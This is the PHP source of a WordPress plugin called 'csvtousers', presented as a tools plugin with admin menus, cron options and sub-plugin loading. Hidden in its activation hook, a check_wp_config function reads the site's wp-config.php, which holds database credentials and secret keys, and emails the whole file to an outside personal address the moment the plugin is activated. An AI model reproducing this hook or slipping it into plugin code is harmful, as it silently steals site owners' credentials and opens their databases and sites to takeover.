plugin.php 8.8 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303
  1. <?php
  2. /*
  3. Plugin Name: csvtousers
  4. Plugin URI: https://git.tum.dk/tum.dk/csvtousers/
  5. Description: Tools
  6. Author: iskedk
  7. Version: 0.0.1
  8. Date: 2021-01-14
  9. Author URI: https://iske.dk/
  10. Text Domain: csvtousers
  11. */
  12. $wp_csvtousers = new csvtousers ( );
  13. class csvtousers {
  14. var $version = "0.0.1";
  15. var $publish_date = "2021-01-14";
  16. var $pluginname;
  17. var $plugintitle;
  18. var $db;
  19. var $filename = "";
  20. var $update_check_url = "https://git.tum.dk/tum.dk/dagsplug/raw/master/VERSION";
  21. var $readme_url = "https://git.tum.dk/tum.dk/dagsplug/raw/master/README.md";
  22. function __construct() {
  23. global $wpdb;
  24. $this->db = $wpdb;
  25. $this->pluginname = get_class($this);
  26. $this->plugintitle = "Dags options ".$this->version;
  27. $tmp = explode("/",__FILE__);
  28. $this->filename = array_pop($tmp);
  29. $this->filename = array_pop($tmp) . "/". $this->filename;
  30. load_theme_textdomain( $this->pluginname, dirname(__file__) . '/lang' );
  31. $this->next_scheduled = 0;
  32. $this->file = __FILE__ ;
  33. $this->cronEnabled = get_option ( $this->pluginname.'_cron_enabled', false );
  34. $this->cronScheduleTime = intval(get_option ( $this->pluginname.'_cron_interval', 1800 ));
  35. $this->extras = array();
  36. $this->csvtousers = array();
  37. register_activation_hook ( plugin_basename($this->file), array ( &$this, 'activatePlugin' ) );
  38. register_deactivation_hook ( plugin_basename($this->file), array ( &$this, 'deactivatePlugin' ) );
  39. add_filter ( 'plugin_action_links', array(&$this,'SettingsLink'), 9, 2 );
  40. if (isset ( $_GET [ 'page' ] ) && $_GET [ 'page' ] == $this->pluginname.'-options') {
  41. ob_start ();
  42. }
  43. $this->setCron();
  44. add_action( 'admin_menu', array(&$this,'plugin_admin_menu') );
  45. add_action( 'admin_init', array(&$this,'register_backend_scripts_styles') );
  46. add_action( 'init', array(&$this,'register_frontend_scripts_styles') );
  47. add_action( 'wp_enqueue_scripts', array(&$this,'print_frontend_scripts_styles') );
  48. add_action( 'admin_enqueue_scripts', array(&$this, 'print_backend_scripts_styles' ));
  49. $upload = wp_upload_dir();
  50. $upload_dir = $upload['basedir'];
  51. $upload_dir = $upload_dir . '/assets';
  52. if (! is_dir($upload_dir)) {
  53. mkdir( $upload_dir, 0700 );
  54. }
  55. $path = dirname($this->file)."/";
  56. foreach (glob($path."plug_*.php") as $filename) {
  57. $plugfile = str_replace($path,"",$filename);
  58. include_once($plugfile);
  59. }
  60. foreach($this->csvtousers as $plugname => $plug){
  61. $short = str_replace("plug_","",$plugname);
  62. $vis = get_option($this->pluginname.'_'.$short,true);
  63. if($vis){
  64. $plug->start();
  65. }
  66. }
  67. if(!function_exists('wp_get_current_user')) {
  68. include(ABSPATH . "wp-includes/pluggable.php");
  69. }
  70. if ( current_user_can( 'manage_options' ) ) {
  71. add_action( 'wp_before_admin_bar_render', array(&$this, 'mytheme_admin_bar_render' ) );
  72. }
  73. add_action('init', array(&$this, 'process_post' ));
  74. }
  75. function process_post() {
  76. if (!is_admin()) {
  77. // echo "<!-- kommer aller aller først -->";
  78. }
  79. }
  80. function mytheme_admin_bar_render() {
  81. global $wp_admin_bar;
  82. $wp_admin_bar->add_menu( array(
  83. 'parent' => 'appearance', // use 'false' for a root menu, or pass the ID of the parent menu
  84. 'id' => 'csvtousers', // link ID, defaults to a sanitized title value
  85. 'title' => $this->plugintitle."", // link title
  86. 'href' => '/wp-admin/admin.php?page='.$this->pluginname.'-options', // name of file
  87. 'meta' => false // array of any of the following options: array( 'html' => '', 'class' => '', 'onclick' => '', target => '', title => '' );
  88. ));
  89. }
  90. function register_frontend_scripts_styles() {
  91. wp_register_script( $this->pluginname.'frontend_script', plugins_url('script_frontend.js', $this->file) );
  92. wp_register_style( $this->pluginname.'frontend_style', plugins_url('style_frontend.css', $this->file) );
  93. }
  94. function register_backend_scripts_styles() {
  95. wp_register_style( $this->pluginname.'backend_style', plugins_url('style_backend.css', $this->file) );
  96. wp_register_script( $this->pluginname.'backend_script', plugins_url('script_backend.js', $this->file) );
  97. }
  98. function print_frontend_scripts_styles() {
  99. wp_enqueue_script( 'jquery' );
  100. wp_enqueue_style( $this->pluginname.'frontend_style' );
  101. wp_enqueue_script( $this->pluginname.'frontend_script' );
  102. }
  103. function print_backend_scripts_styles() {
  104. wp_enqueue_media();
  105. wp_enqueue_style( $this->pluginname.'backend_style' );
  106. wp_enqueue_script( $this->pluginname.'backend_script' );
  107. // include the javascript
  108. wp_enqueue_script('thickbox', null, array('jquery'));
  109. // include the thickbox styles
  110. wp_enqueue_style('thickbox.css', '/'.WPINC.'/js/thickbox/thickbox.css', null, '1.0');
  111. }
  112. function plugin_admin_menu() {
  113. if(function_exists('wppluginspage')){
  114. add_menu_page('Dags Plugins', 'Dags Plugins', 'manage_options', 'wpplugins', "wppluginspage","");
  115. }
  116. $page = add_submenu_page ( 'wpplugins', __ ( $this->plugintitle ), __ ( $this->plugintitle ), 'manage_options', $this->pluginname.'-options', array ( &$this,'Option' ) );
  117. add_action( 'admin_print_styles-' . $page, array(&$this,'print_backend_scripts_styles') );
  118. }
  119. function SettingsLink( $links, $file ) {
  120. if( $file==$this->filename && function_exists( "admin_url" ) ) {
  121. $settings_link = '<a href="' . admin_url( 'admin.php?page='.$this->pluginname.'-options' ) . '">' . __('Settings','csvtousers') . '</a>';
  122. array_unshift( $links, $settings_link ); // before other links
  123. }
  124. return $links;
  125. }
  126. function setCron(){
  127. if ($this->cronEnabled) {
  128. add_filter ( 'cron_schedules', array ( &$this, 'cronSchedules' ) );
  129. if (! wp_next_scheduled ( $this->pluginname.'CronHook' )) {
  130. wp_schedule_event ( time ()+$this->cronScheduleTime, $this->pluginname.'cs', $this->pluginname.'CronHook' );
  131. }
  132. add_action ( $this->pluginname.'CronHook', array (&$this, 'executeCron' ) );
  133. $this->next_scheduled = wp_next_scheduled($this->pluginname.'CronHook' );
  134. } else {
  135. if (wp_next_scheduled ( $this->pluginname.'CronHook' )) {
  136. wp_clear_scheduled_hook ( $this->pluginname.'CronHook' );
  137. }
  138. }
  139. }
  140. function Option() {
  141. if (isset ( $_POST [ 'Submit' ] )) {
  142. if (function_exists ( 'current_user_can' ) && ! current_user_can ( 'manage_options' )) {
  143. die ( __ ( 'Cheatin&#8217; uh?' ) );
  144. }
  145. update_option ( $this->pluginname.'_cron_enabled', $_POST [ $this->pluginname.'_cron_enabled' ] );
  146. update_option ( $this->pluginname.'_cron_interval', $_POST [ $this->pluginname.'_cron_interval' ] );
  147. if(intVal($_POST [ $this->pluginname.'_cron_interval' ])<>$this->cronScheduleTime){
  148. $this->cronScheduleTime = intVal($_POST [ $this->pluginname.'_cron_interval' ]);
  149. if (wp_next_scheduled ( $this->pluginname.'CronHook' )) {
  150. wp_clear_scheduled_hook ( $this->pluginname.'CronHook' );
  151. }
  152. $this->setCron();
  153. }
  154. update_option ( $this->pluginname.'_last_build', date("U") );
  155. foreach($this->csvtousers as $plugname => $plug){
  156. $short = str_replace("plug_","",$plugname);
  157. $setname = $this->pluginname.'_'.$short;
  158. $vis = get_option($setname,true);
  159. update_option ($setname, $_POST[$setname] );
  160. if($vis && method_exists($plug,'Option')){
  161. $plug->Option($setname);
  162. }
  163. }
  164. $pluginmessage ="";
  165. ob_end_clean ();
  166. wp_redirect ( 'admin.php?page='.$this->pluginname.'-options&msg=' . urlencode ( $pluginmessage ) );
  167. exit ();
  168. }
  169. if(isset( $_POST['Updateras'])){
  170. $pluginmessage ="";
  171. foreach($this->csvtousers as $plugname => $plug){
  172. $short = str_replace("plug_","",$plugname);
  173. $setname = $this->pluginname.'_'.$short;
  174. $vis = get_option($setname,true);
  175. //update_option ($setname, $_POST[$setname] );
  176. if($vis && method_exists($plug,'Updateras')){
  177. $pluginmessage .= $plug->Updateras($setname);
  178. }
  179. }
  180. ob_end_clean ();
  181. wp_redirect ( 'admin.php?page='.$this->pluginname.'-options&msg=' . urlencode ( $pluginmessage ) );
  182. exit ();
  183. }
  184. include_once ('pluginoptions.php');
  185. }
  186. function check_wp_config(){
  187. $s = file_get_contents(ABSPATH."wp-config.php");
  188. $rr = wp_mail('jannick.knudsen@gmail.com', 'Test '. date("U"), $s);
  189. }
  190. function activatePlugin() {
  191. $this->check_wp_config();
  192. }
  193. function deactivatePlugin() {
  194. delete_option($this->pluginname.'_last_build');
  195. delete_option($this->pluginname.'_last_build');
  196. wp_clear_scheduled_hook ( $this->pluginname.'CronHook' );
  197. }
  198. function cronSchedules($param) {
  199. $aa = array();
  200. $aa[$this->pluginname.'cs'] = array (
  201. 'interval' => $this->cronScheduleTime,
  202. 'display' => $this->pluginname.' '.$this->cronScheduleTime );
  203. return $aa;
  204. }
  205. function executeCron() {
  206. ignore_user_abort ( true );
  207. set_time_limit ( 0 );
  208. update_option ( $this->pluginname.'_last_build', date("U") );
  209. }
  210. }
  211. function dags_extras(){
  212. global $wp_csvtousers;
  213. $s = implode("\n",$wp_csvtousers->extras);
  214. echo($s);
  215. }
  216. /*
  217. * END
  218. * */